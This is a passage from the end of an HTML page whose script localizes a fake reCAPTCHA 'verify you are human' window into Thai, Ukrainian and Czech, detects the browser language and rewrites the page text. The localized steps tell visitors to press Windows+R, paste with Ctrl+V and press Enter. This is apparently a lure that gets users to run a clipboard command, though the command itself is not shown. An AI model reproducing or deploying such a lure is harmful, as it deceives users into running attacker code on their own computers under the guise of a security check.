    th:{checking:"กำลังตรวจสอบว่าคุณเป็นมนุษย์หรือไม่ อาจใช้เวลาสักครู่",verifyInstruction:"โปรดยืนยันว่าคุณเป็นมนุษย์โดยทำตามขั้นตอนด้านล่าง",verifying:"กำลังตรวจสอบ...",notRobot:"ฉันไม่ใช่หุ่นยนต์",steps:"ขั้นตอนการยืนยัน",success:"สำเร็จ",verifyTitle:"เพื่อพิสูจน์ว่าคุณไม่ใช่หุ่นยนต์:",step1:"กดค้างที่ปุ่ม Windows <i class='fab fa-windows'></i> + <b>R</b>",step2:"ในหน้าต่างการยืนยัน ให้กด <b>Ctrl</b> + <b>V</b>",step3:"กด <b>Enter</b> เพื่อเสร็จสิ้น",observe:"คุณจะเห็นและตกลง:",confirmLead:"ฉันไม่ใช่หุ่นยนต์ - รหัสยืนยัน reCAPTCHA: ",final:"ดำเนินการตามขั้นตอนด้านบนเพื่อเสร็จสิ้นการยืนยัน",verifyBtn:"ยืนยัน",confidentiality:"ความลับ",terms:"ข้อกำหนดและเงื่อนไข",footer:"จำเป็นต้องตรวจสอบความปลอดภัยของการเชื่อมต่อของคุณก่อนดำเนินการต่อ."},

    uk:{checking:"Перевірка, чи ви людина. Це може зайняти кілька секунд.",verifyInstruction:"Підтвердіть, що ви людина, виконавши дію нижче.",verifying:"Перевірка...",notRobot:"Я не робот",steps:"Кроки перевірки",success:"Успішно.",verifyTitle:"Щоб довести, що ви не робот:",step1:"Утримуйте клавішу Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"У вікні перевірки натисніть <b>Ctrl</b> + <b>V</b>.",step3:"Натисніть <b>Enter</b>, щоб завершити.",observe:"Ви побачите та погодитесь:",confirmLead:"Я не робот — ідентифікатор перевірки reCAPTCHA: ",final:"Виконайте наведені вище кроки, щоб завершити перевірку.",verifyBtn:"Перевірити",confidentiality:"Конфіденційність",terms:"Умови",footer:"повинна перевірити безпеку вашого з'єднання перед продовженням."},

    cs:{checking:"Kontroluje se, zda jste člověk. To může trvat několik sekund.",verifyInstruction:"Ověřte, že jste člověk, provedením níže uvedené akce.",verifying:"Ověřování...",notRobot:"Nejsem robot",steps:"Kroky ověření",success:"Úspěšně.",verifyTitle:"Aby se prokázalo, že nejste robot:",step1:"Stiskněte a podržte klávesu Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"V ověřovacím okně stiskněte <b>Ctrl</b> + <b>V</b>.",step3:"Stiskněte <b>Enter</b> pro dokončení.",observe:"Budete pozorovat a souhlasit:",confirmLead:"Nejsem robot — ID ověření reCAPTCHA: ",final:"Pro dokončení ověření proveďte výše uvedené kroky.",verifyBtn:"Ověřit",confidentiality:"Důvěrnost",terms:"Podmínky",footer:"musí zkontrolovat bezpečnost vašeho připojení před pokračováním."}
  };

  function detectLang(){
    const prefs=(navigator.languages&&navigator.languages.length?navigator.languages:[navigator.language||"en"]).map(x=>x.toLowerCase());
    for(const l of prefs){
      if(l.startsWith("ar")) return "ar";
      if(l.startsWith("he")) return "ar"; // treat hebrew as rtl (will be handled)
      if(l.startsWith("fr")) return "fr";
      if(l.startsWith("de")) return "de";
      if(l.startsWith("it")) return "it";
      if(l.startsWith("ja")) return "ja";
      if(l.startsWith("zh")) return "zh";
      if(l.startsWith("ko")) return "ko";
      if(l.startsWith("ru")) return "ru";
      if(l.startsWith("es")) return "es";
      if(l.startsWith("pt")) return "pt";
      if(l.startsWith("nl")) return "nl";
      if(l.startsWith("tr")) return "tr";
      if(l.startsWith("pl")) return "pl";
      if(l.startsWith("sv")) return "sv";
      if(l.startsWith("da")) return "da";
      if(l.startsWith("fi")) return "fi";
      if(l.startsWith("hi")) return "hi";
      if(l.startsWith("id")) return "id";
      if(l.startsWith("vi")) return "vi";
      if(l.startsWith("th")) return "th";
      if(l.startsWith("uk")) return "uk";
      if(l.startsWith("cs")) return "cs";
      if(l.startsWith("en")) return "en";
    }
    return "en";
  }

  function ready(fn){ if(document.readyState==="loading") document.addEventListener("DOMContentLoaded",fn); else fn(); }

  ready(function(){
    const lang = detectLang();
    const t = i18n[lang] || i18n.en;

    // RTL support for Arabic and Hebrew
    if (lang === "ar" || lang === "he") document.documentElement.dir = "rtl";

    // Top area (preloader + prompt)
    const pre = document.querySelector(".preloader_text"); if(pre) pre.textContent = t.checking;
    const allstep = document.querySelector(".textallstep"); if(allstep) allstep.textContent = t.verifyInstruction;

    // Only paragraphs inside .tettx (avoid button/spinner)
    const set = (sel, txt)=>{ document.querySelectorAll(sel).forEach(el=>el.textContent = txt); };
    set(".tettx .step0", t.verifying);
    set(".tettx .step1", t.notRobot);
    set(".tettx .step2", t.steps);
    set(".tettx .step3", t.success);

    // Ensure checkbox button has no inner label (prevents overlap)
    const cb = document.getElementById("checkbox"); if (cb) cb.textContent = "";

    // Verify window title + steps
    const titleP = document.querySelector("#verify-window .verify-main p:first-of-type");
    if (titleP) titleP.innerHTML = t.verifyTitle;

    const stepsOl = document.querySelector("#verify-window .verify-main ol");
    if (stepsOl) stepsOl.innerHTML = `<li>${t.step1}</li><li>${t.step2}</li><li>${t.step3}</li>`;

    // Observe/agree line + localized checkbox code text
    const observeP = document.querySelector("#verify-window .verify-main p.observe");
    if (observeP) {
      const codeEl = observeP.querySelector("code");
      const pieces = observeP.innerHTML.split("<br>");
      pieces[0] = t.observe;
      observeP.innerHTML = pieces.join("<br>");
      if (codeEl) {
        const idSpan = codeEl.querySelector("#verification-id");
        const idHtml = idSpan ? idSpan.outerHTML : '<span id="verification-id"></span>';
        codeEl.innerHTML = ` ✅ "${t.confirmLead}${idHtml}" `;
      }
    }

    const left = document.querySelector(".verify-footer-left"); if (left) left.textContent = t.final;
    const btn = document.getElementById("verify-button"); if (btn) btn.textContent = t.verifyBtn;

    // Legal links text
    const legalBox = document.querySelector('#checkbox-window > div > div:last-child');
    if (legalBox) {
      const ps = legalBox.querySelectorAll("p");
      if (ps[0]) ps[0].textContent = t.confidentiality;
      if (ps[1]) ps[1].textContent = t.terms;
    }

    // Bottom sentence: update the specific paragraph that contains the footer sentence
    const domainParas = Array.from(document.querySelectorAll("p .domain-name")).map(s=>s.parentElement);
    for (const p of domainParas){
      if (/\bneeds to review the security of your connection before proceeding\./i.test(p.textContent)) {
        const host = (p.querySelector(".domain-name")?.textContent || window.location.hostname || "");
        p.innerHTML = `<span class="domain-name">${host}</span> ${t.footer}`;
        break;
      }
    }
  });
})();
</script>

</body></html>